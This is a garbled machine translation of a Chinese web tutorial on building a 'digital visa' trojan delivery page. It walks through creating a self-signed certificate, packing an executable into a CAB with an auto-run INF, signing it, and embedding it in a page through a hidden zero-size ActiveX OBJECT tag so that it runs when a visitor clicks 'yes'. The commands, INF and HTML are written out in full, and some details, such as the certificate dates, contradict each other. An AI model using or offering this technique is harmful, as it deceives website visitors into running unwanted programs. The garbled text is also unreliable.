I. "Digital Certificate" production software makecert
Makecert.exe is a software developed by Microsoft to create "digital signatures". It is a command line interface that allows you to easily create your own "digital signatures ", of course, this digital signature made by myself does not belong to a trusted certificate, but it does not affect the use of ^ * ^
Ii. Cab compression software package production tool iexpress
Is the GUI of makecab. EXE.ProgramIs used to compress the files required by the program into the cab format for easy transmission. Of course, if your program is an independent EXE file, you do not need to use this tool to package it, however, most free space does not support file upload in EXE format. We recommend that you package it! The specified tool also has the imperative cabarc.exe;
Iii. signcode
We can use signcode.exe and our "Digital Certificate" to sign our software and add a digital signature to the software so that it can run on the webpage.
Are you ready? Let's join me in my own digital signature control, lets go ......
Step 1: create a digital certificate"
The command for using makecert is as follows:
Makecert-SV lovexy. PVK-n "cn = shangxingyu"-SS my-r-B 01/08/2003-e 01/08/2093
Where
-SV lovexy. PVK indicates to generate a private key file lovexy. PVK.
-N "cn = shangxingyu", the "ice Fox prodigal son" is the name of the certificate owner displayed in the signature. Remember to change it to your own or your desired name!
-SS my indicates that the generated certificate is saved in the personal certificate
-R indicates that the certificate is issued to you by yourself.
-B 01/08/2003 specifies the start date of the certificate validity period, in the format of month/day/year, the minimum is 1900
-E 01/08/2093 specifies the end date of the validity period of the certificate. The format is the same as above. I think we should not be able to live on March 13, 2093 ^) ^
I will not introduce any other commands.
In the console command prompt, enter the above command (of course, you can also use batch processing ):
Do you need to enter the private key password? Click the "NONE" button to pull it. If you like it, enter the password and remember it. Okay! Your private key file lovexy. PVK has been generated in the directory, but where is the certificate? Don't worry. Open "Internet Options" of IE and switch to the "content" tab. Do you see the "certificate" button? Click it!
See? In the figure above, the "love Star" with the deadline of 9999-1-1 is the certificate generated just now. Export it as lovexy. Cer. Well, the most important first step has been completed!
Step 2: Package the program files to be used in the cab format
First, create the runexe. inf file with the following content:
[Version]
Signature = $ Chicago $
[Icyfox]
Run = % extract_dir % \ lovexy.exe
[Setup hooks]
Lovexy = lovexy
Remember to change the corresponding extension lovexy.exe to your program name!
Then, run iexpress. EXE, select "Create a new self-decompressed command file", go to the next step, select "only create compressed file (ActiveX installation )", go to the next step and add the programs used, including the DLL called by the Program (if any) to the list. Do not forget to add "runexe. INF "is also added in! Click next:
After configuring the options as shown in the figure, click "Next" consecutively to generate lovexy. Cab.
[NOTE: If your program is a separate EXE file, you can skip this step.]
Step 3: sign a digital signature for lovexy. Cab
Run signcode.exe and select lovexy. cab, select "Custom (c)" for "signature type" in "signature options", and click "select from file" next to the certificate file lovexy exported in step 1 above. CER, and then select the lovexy generated in the first step of the private key. PVK file, and then enter the description
Note: In the figure "Description (optional)": the text entered in the input box below appears when you embed the program into the webpage. Please write the corresponding description statement according to "personal interests, the rest is the next step! In this way, you can use your own digital certificate to sign a program with a digital signature that can be run on the web page!
Step 4: Of course, embed the program into the webpage and upload it!
Add to webpageCodeAs shown in the following figure (netzs. htm ):
<HTML> <Title> "Digital Visa" Control Trojan creation </title> <Body>
<Object width = 0 Height = 0 style = "display: none;" type = "application/X-oleobject" codebase = "lovexy. Cab"> </Object>
</Body>
</Html>
When a visitor clicks the "yes" button, the program will run. Are you satisfied with this interface? Is this online tool easy for netizens and show their own personalities! More importantly, you can add popularity to your homepage! What are you waiting? Do it now!